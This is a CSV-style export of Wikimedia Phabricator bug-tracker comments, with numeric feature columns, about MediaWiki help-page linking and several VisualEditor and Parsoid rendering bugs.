Where to start?",,,1409433404,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,60,,0.0,0.0,0.5,0.5,0.5,2.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.5,0.0,3.0,2.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,2.0,0.5,24.0,1.0,2.0,2.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,2.5,20.0,1.0,0.0,0.0,1.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,2.0,4.202208106473079,0.5902903811252268,"[[mw:Category:Help]] was made almost completely translatable (and usually revamped a bit in the process).

I count the following places which have a documentation page and don't link it: Special:Block, Special:MergeHistory, Special:MovePage, Special:NewPages, Special:NewImages, Special:Preferences, Special:Search, action=protect, Special:RecentChanges, action=delete, Special:AllMessages, Special:Undelete, Special:Watchlist; and in extensions, Special:MassMessage, Special:TemplateSandbox, Special:AbuseFilter.

Where to start?"
209733,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","(In reply to comment #3)
> Speaking of implementation method, the interwiki prefix mediawikiwiki can be
> used when necessary: ""new"" wikis have it by default, where ""new"" means after 
> 2007-03-29 (bug 9440 / r20825 / 98333f458046102ee140f4be86fe4d2c6facae2f ).

To clarify the ""when necessary"": personally, for now I'm following the path of last resistance, i.e. I use wikilink where there is already a wikilink and external where there is already an external link.
The separate bug 54835 addresses/proposes the standardisation.",,,1380650218,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,3.0,0.0,10.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,3.0,12.0,4.0,1.0,9.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,3.0,7.0,1.0,0.0,3.0,0.0,3.0,0.0,4.0,3.0,0.0,1.0,0.0,0.0,1.0,3.985074626865672,0.746268656716418,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

To clarify the ""when necessary"": personally, for now I'm following the path of last resistance, i.e. I use wikilink where there is already a wikilink and external where there is already an external link.
The separate bug 54835 addresses/proposes the standardisation."
209725,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Speaking of implementation method, the interwiki prefix mediawikiwiki can be used when necessary: ""new"" wikis have it by default, where ""new"" means after  2007-03-29 (bug 9440 / r20825 / 98333f458046102ee140f4be86fe4d2c6facae2f ).",,,1378569913,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,2.0,7.0,4.0,0.0,9.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.444444444444445,0.8444444444444444,"Speaking of implementation method, the interwiki prefix mediawikiwiki can be used when necessary: ""new"" wikis have it by default, where ""new"" means after  2007-03-29 (bug 9440 / r20825 / 98333f458046102ee140f4be86fe4d2c6facae2f )."
209717,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","(In reply to comment #1)
> I for one would prefer an ""if the local page does not exist, then
> transparently
> deliver the central page from www.mediawiki.org"" approach for help pages

Sure, that's a possibility too. It's a choice of implementation method, let's leave it to code review. :)
(Target pages would probably be customisable in system messages anyway, so the result would be the same: wikis could have their own pages if they really wanted.)",,,1366030055,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,1.0,0.0,7.0,0.0,1.0,0.0,1.0,8.0,1.0,1.0,0.0,7.0,8.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6164383561643834,0.7397260273972602,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

Sure, that's a possibility too. It's a choice of implementation method, let's leave it to code review. :)
(Target pages would probably be customisable in system messages anyway, so the result would be the same: wikis could have their own pages if they really wanted.)"
209710,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I for one would prefer an ""if the local page does not exist, then transparently deliver the central page from www.mediawiki.org"" approach for help pages, mainly resembling the way, pictures are handled and included from Commons if needed.

Also, when user on a wiki are about to create a new help page following a red link to the help: namespace, they should most preferrably be stirred towards the central www.mediawiki.org help page creation in their language.",,,1366029168,,PHID-USER-pkzunphfdvlecngun3iz,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,2.0,1.0,8.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,13.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,3.0,13.0,1.0,0.0,2.0,0.0,3.0,2.0,1.0,5.0,0.0,2.0,0.0,1.0,0.0,4.459770114942529,0.7126436781609196,"I for one would prefer an ""if the local page does not exist, then transparently deliver the central page from www.mediawiki.org"" approach for help pages, mainly resembling the way, pictures are handled and included from Commons if needed.

Also, when user on a wiki are about to create a new help page following a red link to the help: namespace, they should most preferrably be stirred towards the central www.mediawiki.org help page creation in their language."
45582,"Parser misinterprets en.wikipedia Infobox (inline ""style"" attribute ends up in text nodes)","Screenshot of bug and edit screens

Native parser rendering:
the Netherlands

Parsoid/VisualEditor rendering:
style=""font-size: larger; font-weight: bold"" | the Netherlands

[[Flag of the Kingdom of the Netherlands]]:
{{Infobox flag
| Name = the Netherlands
...

[[Template:Infobox flag]]:
> {| class=""infobox"" style=""width: 22em; font-size:88%; text-align:left; line-height: 1.5em""
|+ style=""font-size: larger; font-weight: bold"" | <br>{{{Name|{{PAGENAME}}}}}
|-
...


See attachment for rendering.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10351}",Medium,50.0,1357121460,1358293142.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-iwk4mxubemdjw56l5wqu,task_description,resolved,True,c1,1,True,False,True,-26,,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,11.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,2.5,3.5149253731343286,0.5671641791044776,"Screenshot of bug and edit screens

Native parser rendering:
the Netherlands

Parsoid/VisualEditor rendering:
style=""font-size: larger; font-weight: bold"" | the Netherlands

[[Flag of the Kingdom of the Netherlands]]:
{{Infobox flag
| Name = the Netherlands
...

[[Template:Infobox flag]]:
QUOTE
|+ style=""font-size: larger; font-weight: bold"" | <br>{{{Name|{{PAGENAME}}}}}
|-
...


See attachment for rendering.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10351}"
209231,"Parser misinterprets en.wikipedia Infobox (inline ""style"" attribute ends up in text nodes)",Fixed by https://gerrit.wikimedia.org/r/#/c/44170/.,,,1358293142,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-iwk4mxubemdjw56l5wqu,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed by URL
45461,VisualEditor: Mouse leaving a phantom and also the .ve-surface DIV area causes phantom to remain,"Hovering over an uneditable element in VisualEditor makes the element be covered by green stripes until the mouse is moved away, but when the cursor moves directly to the sidebar or the right margin, the stripes stay there until some part of the .ve-surface is hovered over.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1356609300,1361487636.0,PHID-USER-um3fhlwaza6ecwf67t77,False,,False,PHID-TASK-ojc6pzmsefmlfjvvupqg,task_description,resolved,True,c1,1,False,False,True,-27,,1.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,6.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.271428571428571,0.7,"Hovering over an uneditable element in VisualEditor makes the element be covered by green stripes until the mouse is moved away, but when the cursor moves directly to the sidebar or the right margin, the stripes stay there until some part of the .ve-surface is hovered over.

--------------------------
**Version**: unspecified
**Severity**: minor"
202802,VisualEditor: Mouse leaving a phantom and also the .ve-surface DIV area causes phantom to remain,"**orbit** wrote:

Fixed here: https://gerrit.wikimedia.org/r/#/c/50309/",,,1361487636,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ojc6pzmsefmlfjvvupqg,task_subcomment,,True,c1,1,False,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.6666666666666666,"**orbit** wrote:

Fixed here: URL"
45335,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"From user report (but I've had this myself):

| HotCat is a popular gadget and any conflict with it should be avoided. For
| example, use VisualEditor on [[User:This, that and the other/sandbox/Schfoof]]
| with HotCat enabled. The HotCat bar appears in the wrong place. (It probably
| shouldn't appear at all.)
|
| …
|
| The conflict now appears to be fixed... very strange.

Given that it appears and also doesn't appear between refreshes - i.e., on the same page with the same version of the VE and HC code bases in the same accounts in the same browsers - I'm assuming it's some sort of race-condition, but I'm not sure.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1356129540,1414009552.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-pxuflqdxigvalopfqw3z,task_description,declined,True,c1,1,True,False,False,-28,,1.5,0.0,0.5,1.0,1.5,5.5,0.5,0.0,0.0,0.0,2.0,2.5,0.0,0.0,0.0,2.0,0.0,7.5,8.5,0.0,0.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,5.5,0.5,2.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,11.5,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,5.5,1.5,10.5,0.5,3.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.5,8.5,4.5,0.0,0.0,0.0,4.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,1.5,3.4178695535952954,0.6820368885324779,"From user report (but I've had this myself):

| HotCat is a popular gadget and any conflict with it should be avoided. For
| example, use VisualEditor on [[User:This, that and the other/sandbox/Schfoof]]
| with HotCat enabled. The HotCat bar appears in the wrong place. (It probably
| shouldn't appear at all.)
|
| …
|
| The conflict now appears to be fixed... very strange.

Given that it appears and also doesn't appear between refreshes - i.e., on the same page with the same version of the VE and HC code bases in the same accounts in the same browsers - I'm assuming it's some sort of race-condition, but I'm not sure.

--------------------------
**Version**: unspecified
**Severity**: minor"
195741,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"I can't reproduce this issue... If anyone still sees this, please reopen.",,,1414009552,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,True,,,68,,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.9375,"I can't reproduce this issue... If anyone still sees this, please reopen."
195732,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"Created attachment 14685
HotCat showing up in the content editable surface

(from bug 55759 attachment 13500 by Chris McMahon)

**Attached**: {F9984}",,,1393411345,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.8484848484848485,"Created attachment 14685
HotCat showing up in the content editable surface

(from bug 55759 attachment 13500 by Chris McMahon)

**Attached**: {F9984}"
195724,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"(In reply to comment #4)
> Created attachment 13512 [details]
> VE iframe has gadget code before VE is invoked
I don't think that's related at all. Gadget CSS is expected in the iframe. It should be in the <head> instead of the <body> but that's a separate issue (bug 56630).

//attachment invisible_iframe_contents.png ignored as obsolete//",,,1383697299,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,False,,,18,,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,3.0,11.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,3.693548387096774,0.7741935483870968,"(In reply to comment #4)
QUOTE
QUOTE
I don't think that's related at all. Gadget CSS is expected in the iframe. It should be in the <head> instead of the <body> but that's a separate issue (bug 56630).

//attachment invisible_iframe_contents.png ignored as obsolete//"
195718,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"Created attachment 13512
VE iframe has gadget code before VE is invoked

//attachment invisible_iframe_contents.png ignored as obsolete//",,,1381945871,,PHID-USER-kqibbfgfpgocyzwe32lv,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.473684210526316,0.9473684210526315,"Created attachment 13512
VE iframe has gadget code before VE is invoked

//attachment invisible_iframe_contents.png ignored as obsolete//"
195715,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,*** Bug 55759 has been marked as a duplicate of this bug. ***,,,1381877657,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,True,,,15,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 55759 has been marked as a duplicate of this bug. ***
195712,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"(In reply to comment #1)
> Is this related?
> 
> ""We seem to have lost the plus and minus options of Hotcat that were one of
> the closest to WYSIWYG features of this site. Please can they be
> incorporated into visual editor. ϢereSpielChequers 13:46, 4 July 2013 (UTC)""

That's unrelated to VisualEditor; enwiki's community switched off HotCat as a default gadget, so people who want to keep using it will need to manually switch it back on.",,,1372947996,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,17.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,4.0,17.0,11.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.660377358490566,0.7547169811320755,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's unrelated to VisualEditor; enwiki's community switched off HotCat as a default gadget, so people who want to keep using it will need to manually switch it back on."
195709,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"Is this related?

""We seem to have lost the plus and minus options of Hotcat that were one of the closest to WYSIWYG features of this site. Please can they be incorporated into visual editor. ϢereSpielChequers 13:46, 4 July 2013 (UTC)""",,,1372946751,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,16.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,0.0,4.0,16.0,8.0,2.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.92,0.86,"Is this related?

""We seem to have lost the plus and minus options of Hotcat that were one of the closest to WYSIWYG features of this site. Please can they be incorporated into visual editor. ϢereSpielChequers 13:46, 4 July 2013 (UTC)"""
45333,VisualEditor: Add a (small) left margin to the CE so that users can select whole lines at once,"From a user suggestion:

| Normally word processors and text editors have a left margin, allowing
| whole lines to be selected. There would normally be a small gap of a few
| pixels between the left column of text and the left margin, allowing a
| ""margin of error"" for regular text selection. To the left of this gap,
| any clicks select entire lines, and any drags up or down select many
| lines at once. 
|
| I don't know if there is a need for the complete left margin
| functionality in VisualEditor, but certainly, the editing area shouldn't
| stop at the exact edge of the letters. Perhaps the padding on the VE
| container needs to be increased with a compensating decrease in the
| margin - or maybe that's totally wrong, but you get the idea.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1356128220,1369426246.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-3d7wihxirj5lu7swsg43,task_description,declined,True,c1,1,True,False,True,-28,,2.0,0.0,0.5,1.0,1.0,7.5,0.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,1.0,0.5,0.5,7.0,9.5,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,4.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,20.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.5,2.0,5.0,0.5,3.5,11.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,9.5,1.5,0.0,1.0,0.0,1.0,0.0,0.0,3.5,0.0,1.5,0.0,0.0,0.0,3.6552083333333334,0.6075657894736842,"From a user suggestion:

| Normally word processors and text editors have a left margin, allowing
| whole lines to be selected. There would normally be a small gap of a few
| pixels between the left column of text and the left margin, allowing a
| ""margin of error"" for regular text selection. To the left of this gap,
| any clicks select entire lines, and any drags up or down select many
| lines at once. 
|
| I don't know if there is a need for the complete left margin
| functionality in VisualEditor, but certainly, the editing area shouldn't
| stop at the exact edge of the letters. Perhaps the padding on the VE
| container needs to be increased with a compensating decrease in the
| margin - or maybe that's totally wrong, but you get the idea.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
195561,VisualEditor: Add a (small) left margin to the CE so that users can select whole lines at once,"After discussion with the team, we feel that this doesn't make sense because this is mostly a feature that makes sense in line-based editors (generally, for code), and VE is not one of these.",,,1369426246,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3d7wihxirj5lu7swsg43,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,16.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,5.0,5.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,16.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6744186046511627,0.8604651162790697,"After discussion with the team, we feel that this doesn't make sense because this is mostly a feature that makes sense in line-based editors (generally, for code), and VE is not one of these."
195557,VisualEditor: Add a (small) left margin to the CE so that users can select whole lines at once,"For the first part, some IDEs do this (e.g. Sublime), but LO, Google Docs & gedit don't. The downside is it reduces the target zone for placing the cursor at the start of a line.

For the second part, we already have left padding into which you can click to position the cursor at the start of the line.",,,1369228231,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-3d7wihxirj5lu7swsg43,task_subcomment,,True,c1,1,True,,,-6,,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,11.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,13.0,7.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.5142857142857142,0.7142857142857143,"For the first part, some IDEs do this (e.g. Sublime), but LO, Google Docs & gedit don't. The downside is it reduces the target zone for placing the cursor at the start of a line.

For the second part, we already have left padding into which you can click to position the cursor at the start of the line."
